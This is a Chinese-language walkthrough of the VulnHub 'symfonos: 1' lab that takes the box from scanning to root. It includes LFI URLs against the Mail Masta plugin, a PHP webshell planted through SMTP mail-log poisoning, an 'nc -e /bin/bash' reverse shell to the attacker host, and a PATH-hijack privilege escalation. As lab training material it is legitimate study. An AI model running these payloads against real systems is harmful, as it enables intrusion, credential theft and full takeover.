当前位置: 首页 > news >正文

symfonos: 1靶场

symfonos: 1

来自 <https://www.vulnhub.com/entry/symfonos-1,322/>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.252

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.252

端口/服务

版本/信息

潜在漏洞/风险

建议步骤

优先级

22/SSH

OpenSSH 7.4p1 (Debian)

可能存在已知漏洞(如CVE-2018-15485),需凭证或私钥访问。

1. 弱密码爆破(hydra)。

2. 后续若获取凭证,尝试登录。

25/SMTP

Postfix

支持VRFY命令,可枚举有效用户。

1. 使用smtp-user-enum或手动验证用户。

2. 结合枚举结果进行SSH/SMB爆破。

80/HTTP

Apache 2.4.25

网页内容未知,可能存在目录遍历、敏感文件或Web漏洞(如文件包含)。

1. 访问页面分析源码。

2. 目录爆破(gobuster)。

3. 检查SQL注入/XSS等漏洞。

139,445/SMB

Samba 4.5.16-Debian

1. 允许匿名访问(Guest)。

2. 潜在漏洞CVE-2017-7494(需可写共享)。

1. 枚举共享(smbclient -L)。

2. 匿名访问检查文件。

3. 若可写共享,尝试利用CVE-2017-7494。

系统信息

Linux 3.x-4.x (Debian 9?)

旧内核可能未修补漏洞(如DirtyCow)。

1. 提权时检查内核漏洞。

2. 结合其他服务漏洞提升权限。

4,看看SMTP服务的共享资源

登录匿名用户进去,然后信息收集

smbclient //192.168.23.252/anonymous

get attention.txt

由此信息收集得到三个密码epidioko/qwerty/baseball。再访问helios用户的共享资源,经过测试发现helios用户的密码为qwerty。然后登录进去

smbclient //192.168.23.252/helios -U helios

todo.txt发现重要线索

Binge watch Dexter

Dance

Work on /h3l105

5,然后再访问一下80端口的http服务

http://192.168.23.252/h3l105/

需要修改一下域名文件

echo "192.168.23.252 symfonos.local" >>/etc/hosts

http://symfonos.local/h3l105/

扫描网站指纹目录

whatweb -v http://symfonos.local/h3l105/

发现CMS是wordpress,版本是5.2.2

使用wpscan扫描这个网站,发现网站安装了两个插件

wpscan --url http://symfonos.local/h3l105/

然后就搜索这个插件的漏洞

searchsploit mail masta 1

存在文件包含漏洞,将40290.txt下载到本地,查看漏洞描述

searchsploit  -m 40290.txt

WordPress插件 Mail Masta 本地文件包含(LFI)

影响版本: 插件版本未知(需验证)

漏洞类型: 未授权本地文件包含(通过pl参数)

风险等级: 高危

漏洞文件:

  • /inc/campaign/count_of_send.php
  • /inc/lists/csvexport.php
    漏洞原理
  1. 漏洞代码
    include($_GET['pl']); 
    // 直接使用未过滤的GET参数包含文件
  2. 触发条件
    攻击者通过
    pl参数指定任意文件路径,服务器未校验输入,直接包含该文件。
  3. 利用限制
    • 需知道目标服务器文件路径(如/etc/passwd)。
    • PHP配置需允许包含本地文件(allow_url_include=Off时仍可包含本地文件)。

漏洞利用步骤

1. 确认插件存在

访问以下路径,确认插件是否安装:

http://目标IP/wp-content/plugins/mail-masta/

若返回404403,说明插件不存在;若返回200或目录列表,则存在漏洞。

2. 尝试读取敏感文件

  • 通过pl参数读取系统文件(如/etc/passwd):

http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

http://目标IP/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd

  • 预期结果

返回/etc/passwd文件内容(需确保Web进程有读取权限)。

3. 进阶利用

  • 读取Web配置文件
    尝试获取
    wp-config.php(数据库凭证):
    http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=../../../../wp-config.php
  • 日志注入(RCE)
    若可读日志文件(如
    /var/log/apache2/access.log),注入PHP代码到User-Agent,再包含日志文件:
    http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log
  • PHP伪协议
    尝试读取PHP文件源码(需
    allow_url_include=On):
    http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=wp-config.php

6,然后尝试漏洞利用读取文件

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd

前面发现网站的web服务器软件是apache,尝试去包含apache的默认日志文件

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log

看到包含失败。前面信息收集发现靶机还开放了smtp服务,尝试去包含helios用户的邮件日志

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

包含成功,现在可以使用telnet向helios用户发送植入了一句话木马的文件,然后再利用LFI给WEB网站构造RCE漏洞

telnet 192.168.23.252 25

MAIL FROM: icepeak
RCPT TO: helios
data
<?php system($_GET['cmd']); ?>
.
QUIT

然后就是测试网站漏洞是否构造成功

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id

漏洞利用成功,接下来尝试反弹shell

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%20-e%20/bin/bash%20192.168.23.182%204444

与此同时kali开启对4444端口的监听

python -c 'import pty;pty.spawn("/bin/bash")'

7,信息收集一下

uname -a

lsb_release -a

sudo -l被禁用,再看看suid权限提权利用

find / -perm -u=s -type f 2>/dev/null

查看一个比较特殊的文件,/opt/statuscheck

strings /opt/statuscheck

分析结果:/opt/statuscheck 文件内容解析

1. 文件基本信息

  • 文件类型: 64位Linux可执行文件(ELF)
  • 编译环境: 使用GCC 6.3.0在Debian 9系统编译
  • 依赖库: 依赖libc.so.6(GNU C库),调用system函数执行系统命令

2. 关键字符串分析

  • curl -I H 与 http://lHocalhostH:
    实际应为 
    curl -I http://localhost 程序可能通过system执行此命令,用于检查本地HTTP服务状态(返回HTTP头信息)
  • system函数调用: 表明程序可能直接执行系统命令,存在潜在命令注入风险

8,发现该程序调用了curl,那么我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck

提权成功,成功变成root用户

cat /root/proof.txt

相关文章:

  • 算法第21天 | 第77题. 组合、216. 组合总和 III、17. 电话号码的字母组合
  • React方向:react的基本语法-数据渲染
  • API 玩出新花样:我如何构建自己的智能翻译助手
  • 08 Nginx模块
  • 【Docker】Docker Compose方式搭建分布式协调服务(Zookeeper)集群
  • Text2SQL:自助式数据报表开发---0517
  • Java求职者面试:从Spring Boot到微服务的技术点解析
  • 【GESP】C++三级真题 luogu-B3925 [GESP202312 三级] 小猫分鱼
  • 【PostgreSQL系列】PostgreSQL 复制参数详解
  • MLLM常见概念通俗解析(四)
  • 项目的部署发布和访问的流程
  • Jsoup库和Apache HttpClient库有什么区别?
  • 嵌入式学习笔记 - U(S)ART 模块HAL 库函数总结
  • [C++面试] const相关面试题
  • C# 深入理解类(成员常量)
  • Android 性能优化入门(一)—— 数据结构优化
  • 学习黑客Kerberos深入浅出:安全王国的门票系统
  • 利用html制作简历网页和求职信息网页
  • 【Linux笔记】——线程同步条件变量与生产者消费者模型的实现
  • Go 与 Gin 搭建简易 Postman:实现基础 HTTP 拨测的详细指南
  • CBA官方对孙铭徽罚款3万、广厦投资人楼明停赛2场罚款5万
  • 法律顾问被控配合他人诈骗酒店资产一审判8年,二审辩称无罪
  • 机器人为啥热衷“搞体育”,经济日报:是向加速融入日常生活发起的冲锋
  • 国家统计局:2024年城镇单位就业人员工资平稳增长
  • 哪种“网红减肥法”比较靠谱?医学专家和运动专家共同解答
  • 3年多来俄乌要首次直接对话?能谈得拢吗?